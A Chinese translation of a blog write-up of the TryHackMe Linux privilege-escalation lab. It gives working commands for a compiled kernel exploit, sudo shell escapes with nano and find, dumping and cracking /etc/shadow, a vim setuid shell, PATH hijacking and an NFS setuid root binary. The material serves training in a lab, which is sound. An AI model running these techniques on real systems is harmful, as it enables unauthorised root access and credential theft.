尝试 Hack Me:Linux PrivEsc 完整文档
今天我想写一篇关于两个我觉得挺有挑战性的实验的文章:初级渗透测试员路线上的Linux 权限提升实验和Windows 权限提升实验。我们开始吧!😊

我将跳过以下任务,因为它是只读的:
- 任务 1:介绍
- 任务 2:什么是权限提升?
- 任务 4:自动枚举工具
任务 3:枚举
要阅读本节的说明/常规信息,请前往专门的任务。我不会复制粘贴所有信息,因为这会使文章内容臃肿。说实话,如果你一直在看,复制粘贴完全没必要。
目标系统的主机名是什么?
通过 AttackBox 或 OPENVPN 打开终端,然后通过命令 SSH 连接到目标机器ssh karen@YOUR_MACHINE_IP
。记住密码是 Password1。
登录后,我们只需运行hostname
命令即可找到目标机器的主机名。瞧,我们的第一个问题得到了解答!
目标系统的 Linux 内核版本是什么?
要查找系统的内核版本,我们只需输入uname -a
命令即可。该命令将打印系统信息,提供有关系统所用内核的更多详细信息。
这是什么Linux?
我们可以用cat /etc/issue
命令来查找操作系统版本。
系统上安装了哪个版本的 Python 语言?
说明书里没有提到这一点,但这其实很容易理解。我们可以直接运行python --version
命令来查看安装了哪个版本。
哪些漏洞似乎会影响目标系统的内核?(输入 CVE 编号)
为此,我们需要在 Exploit-DB 上进行一些谷歌搜索。
任务 5:权限提升内核漏洞
找到并利用合适的内核漏洞,获取目标系统的 root 权限。
关闭之前的机器。现在,让我们来了解一下内核漏洞利用方法的步骤。
2. 搜索并找到目标系统内核版本的漏洞利用代码。
我们可以通过谷歌搜索快速找到。下载漏洞利用代码并将其移动到你的/tmp
文件夹中。
我们也可以通过searchploit获取它。
flag1.txt 文件的内容是什么?
3. 运行漏洞利用程序。
好的,在本地计算机上打开终端,然后在 Attackbox 中启动计算机。在 Attackbox 中,让我们运行id
命令并记下当前的用户权限。
在本地机器上,我们需要启动一个 Python 服务器,以便将下载的漏洞利用代码发送到 Attackbox 中的目标机器。我们可以通过python3 -m http.server 8000
命令执行此操作。不要关闭此终端。
打开一个新的标签页/终端,以便获取本地计算机的 IP 地址。我们需要它来连接到目标计算机。使用ifconfig
命令并向下滚动。
太棒了,现在我们可以继续将下载并存储在 /tmp 文件中的漏洞发送到目标机器了。首先,打开 Attackbox,在连接到本地机器之前,先 cd 到 /tmp 文件夹。
如果您没有先进入 /tmp,那么在尝试连接时会出错。现在,为了发送漏洞并建立连接,我们可以输入以下命令(将 IP 替换为您的 ifconfig IP)wget http://yourip:8000/37292.c
。
好的,漏洞利用代码已发送。现在,为了转换它,我们可以输入以下命令gcc 37292.c -o pwned
。漏洞利用代码转换完成后,我们就可以通过以下./pwned
命令运行它了。
现在,当我们id
再次运行命令时,我们可以看到我们的用户权限已更改!现在我们可以轻松访问文件了。
由于我们当前位于 /tmp,因此我们通过 cd 进入 /home cd /home
。从 /home 运行ls
命令,看看能找到什么。我们有一个名为 matt 的目录。
让我们通过 cd 进入 mattcd /home/matt
并看看我们可以通过命令找到什么ls
。
从那里我们可以看到我们找到了 flag1.txt 文件。让我们通过 读取它cat flag1.txt
。我们成功找到了 flag!
任务6:权限提升Sudo
终止之前的机器,然后运行执行此任务所需的机器。打开 Attackbox 直接在浏览器中运行,或者通过本地机器的终端 ssh 到 Karen 的帐户。
*用户“karen”在目标系统上可以使用 sudo 权限运行多少个程序?*
要查看“Karen”可以运行多少个程序,我们需要运行该sudo -l
命令。从这里我们可以看到她可以运行 3 个程序/命令,分别是 find、less 和 nano。
flag2.txt 文件的内容是什么?
我们先用 看看当前目录下有什么ls
。/home 目录对我们来说最重要,所以我们用 cd 命令进入它。然后,用 ls 命令,我们可以看到有一个名为 ubuntu 的目录。
让我们通过 cd 进入 ubuntu cd /home/ubuntu
。运行ls
命令后,我们可以看到成功找到了 flag2.txt 文件。
现在,我们可以简单地cat flag2.txt
瞧瞧,我们找到了我们的旗帜!
如果您的用户在 nmap 上拥有 sudo 权限,您将如何使用 Nmap 生成 root shell?
Frank 的密码哈希值是多少?
当我们通过 cd / 回到 root 权限,并运行 id 命令时,我们会发现我们没有 root 权限,因此无法读取 Frank 的密码。运行命令cat /etc/shadow
,你会发现我们无法访问。
让我们解决这个问题。运行sudo nano
并按下 CTRL+R 和 CTRL+X。输入以下命令获取 root 权限:reset; bash 1>&0 2>&0
然后按 Enter。
当我们现在运行id
命令时,我们可以看到我们拥有root访问权限。
现在我们可以继续运行cat /etc/shadow
,你知道吗,我们现在可以找到弗兰克的散列密码!
任务7:权限提升SUID
哪位用户和一位伟大的漫画作家同名?
关闭你之前的机器,然后像之前一样重新连接到 Karen 的 IP。要查找这些用户,我们可以运行以下cat /etc/passwd
命令。
哪位用户的名字和一位伟大的漫画作家相同?
开始之前,请在本地计算机的桌面上创建一个 suid 文件夹,其中包含以下文件:passwd.txt 和 shadow.txt。请确保您的 /wordlists 文件夹中包含之前实验中保存的 rockyou.txt 文件。
首先,我们需要找到 passwd.txt 文件的密码哈希值。base64 /etc/passwd | base64 --decode
在终端中运行以下命令,并将最后一位复制到 passwd.txt 文件中。
接下来,我们需要找到 shadow.txt 文件的密码哈希值。base64 /etc/shadow | base64 --decode
在终端中运行以下命令,并将最后一位复制到 shadow.txt 文件中。
接下来,我们需要取消密码的影子化。进入命令行并输入unshadow passwd.txt shadow.txt > passwords.txt
命令(我们以 Karen 的身份登录)。我们的 passwords.txt 目录已创建。
最后我们可以使用 John The Ripper 工具来破解密码。运行以下命令john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
flag3.txt 文件的内容是什么?我们可以使用和之前相同的技巧。在终端(我们以 Karen 身份登录)中
输入命令base64 /home/ubuntu/flag3.txt | base64 --decode
任务8:权限提升能力
终止之前的会话,然后再次以 Karen 身份登录。
有多少个二进制文件设置了功能?
运行该getcap -r / 2>/dev/null
命令并计算返回的二进制文件数量。我们统计出六个二进制文件。
还能通过它的功能使用哪些其他二进制文件?
运行该getcap -r /
命令并向下滚动到底部。我们可以看到另一个二进制文件正在查看。
flag4.txt 文件的内容是什么?
要查看它,只需在终端中输入以下命令:./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
这将打开一个 shell。
从那里我们需要 cd 回到 /home。完成后,输入cd /home/ubuntu
,然后输入ls
。
我们可以通过cat flag4.txt命令读取flag4.txt文件。
任务 9:权限提升 Cron 作业
您在目标系统上可以看到多少个用户定义的 cron 作业?
关闭您之前的机器,然后登录 Karen 的系统。我将使用 Attackbox 来完成这项任务。让我们运行cat /etc/crontab
命令。我们可以看到有四个用户定义的 cron 作业:
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
flag5.txt 文件的内容是什么?
(请按照 THM 上的任务说明来查找标志。)
马特的密码是什么?
(请按照 THM 上的任务说明找到标志。)
任务 10:权限提升路径
你拥有哪个奇数文件夹的写权限?
关闭之前的机器,然后登录 Karen 的系统。
如果我们循环查看任务注释,就会发现可以使用find / -writable 2>/dev/null | grep home
命令找到可写的文件夹。
利用 $PATH 漏洞读取 flag6.txt 文件的内容。
在你以 Karen 身份登录的终端中运行该cd /home
命令,这样我们就能查看可以访问哪些文件。运行后,-ls -a
我们可以看到有 matt、murdoch 和 ubuntu。我们的 flag6.txt 文件位于 matt 目录下,但由于我们拥有对 murdoch 的写入权限,所以我们来看看 murdoch 目录下有哪些文件。
一旦我们进入/home/murdoch
,我们可以看到它有三个文件:test、thm 和 thm.py。让我们看看每个文件里都有什么。在 cat 每个文件之前,先运行命令bash
。
要查看 thm.py 下的内容,请运行file thm.py
,然后cat thm.py
。
当我们尝试对 thm 执行相同操作时,我们发现没有找到这样的文件。当我们尝试运行 时./test
,我们发现它依赖于 thm,这意味着我们需要创建一个 thm 文件,并编写一个小脚本来读取 flag6.txt 文件的内容。
使用 echo 将脚本写入此文件cat /home/matt/flag6.txt" > thm
。
现在,为了使这个 thm 文件可执行,我们需要使用chmod +x thm
命令对其进行转换。
在运行 ./test 之前,我们需要通过以下方式导出路径export PATH=/home/murdoch:$PATH
最后,我们可以运行 ./test 命令了。我们成功利用了 PATH 漏洞!
flag6.txt文件的内容是什么?
我们运行命令后找到了上一题中的flag./test
。
任务11:权限提升NFS
你能在目标系统上识别出多少个可挂载共享?
关闭之前的机器,然后登录 Karen 的系统。要从攻击机器上枚举可挂载共享,我们需要使用以下showmount -e <YOUR MACHINE IP>
命令。
有多少共享启用了“no_root_squash”选项?
要查看,请运行命令cat /etc/exports
。我们可以数出三个 no_root_squash 选项。
在目标系统上获取 root shell
按照任务说明中的步骤操作。步骤完全相同。因此,在终端中(不是以 Karen 身份登录的终端),执行以下操作:
mkdir /tmp/sharedfolder
sudo mount -o rw 10.10.114.12:/home/ubuntu/sharedfolder /tmp/sharedfolder
nano
//Enter into nano and save as nfs.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
现在 cd 进入/tmp/sharedfolder
目录并将 .c 文件转换为可执行文件。
现在,当你回到 Karen 的系统,进入 /home/ubuntu/sharedfolders 并运行ls -l
命令时,你的 nfs 文件应该就在那里了。你现在拥有 root 权限,可以运行了./nfs
。
flag7.txt 文件的内容是什么?
运行cat /home/matt/flag7.txt
命令,Flag 就出来了!
任务 12:顶点挑战
flag1.txt 文件的内容是什么?
让我们登录 Leonard 的系统。
之后,让我们通过whoami
和id
命令看看我们拥有什么类型的权限。
好的,让我们看看使用 find / -type f -perm -04000 -ls 2>/dev/null
命令(我们之前用过这个命令)能找到什么。还记得在 SUID 部分我们使用 base64 解码 /shadow 和 /passwd 数据吗?我们再来一遍。
在您的桌面上,创建一个包含两个文件的 SUID 文件夹:passwd.txt 和 shadow.txt。
在 Leonard 的终端中,运行base64 /etc/shadow | base64 -d
命令并将 Missy 的值复制到 shadow.txt 文件中。
然后,运行base64 /etc/passwd | base64 -d
命令并将 Missy 的值复制到 passwd.txt 文件中。
现在,在我们的攻击者终端中,我们可以使用 John The Ripper 来破解密码。记住,先 cd /Desktop/SUID,然后运行sudo unshadow passwd.txt shadow.txt > cracked.txt
命令来创建cracked.txt
文件。
然后运行john命令:john --wordlist=/usr/share/wordlists/rockyou.txt cracked.txt
破解密码。我们可以看到Missy的密码是Password1。
现在,回到 Leonard 的终端,让我们以 Missy 的身份登录。运行su missy
命令并输入她的密码。
sudo -l 命令将显示 missy 不需要密码即可访问数据。
现在我们可以继续访问 flag1.txt 文件了。首先,我们需要通过sudo find / -name "flag1.txt"
命令找到它。
要读取旗帜,只需运行cat /home/missy/Documents/flag1.txt
。我们的旗帜显露出来了!
flag2.txt 文件的内容是什么?
让我们看看能否通过该sudo find / -name "flag2.txt"
命令找到 flag2.txt 文件。我们发现需要 root 权限才能访问它。
要做到这一点,只需说sudo find . -exec /bin/sh \; -quit
。
现在当我们运行时cat /home/rootflag/flag2.txt
,我们就可以访问该标志。
结论
希望以上内容能帮到你,因为这个实验对我来说确实很有挑战性,但它真的很有趣,完成它的感觉也很棒。总之,我完成了,现在,你也一样!😀
查看我的GitHub了解更多信息。
鏂囩珷鏉ユ簮锛�https://dev.to/christinec_dev/try-hack-me-linux-privesc-complete-write-up-20fg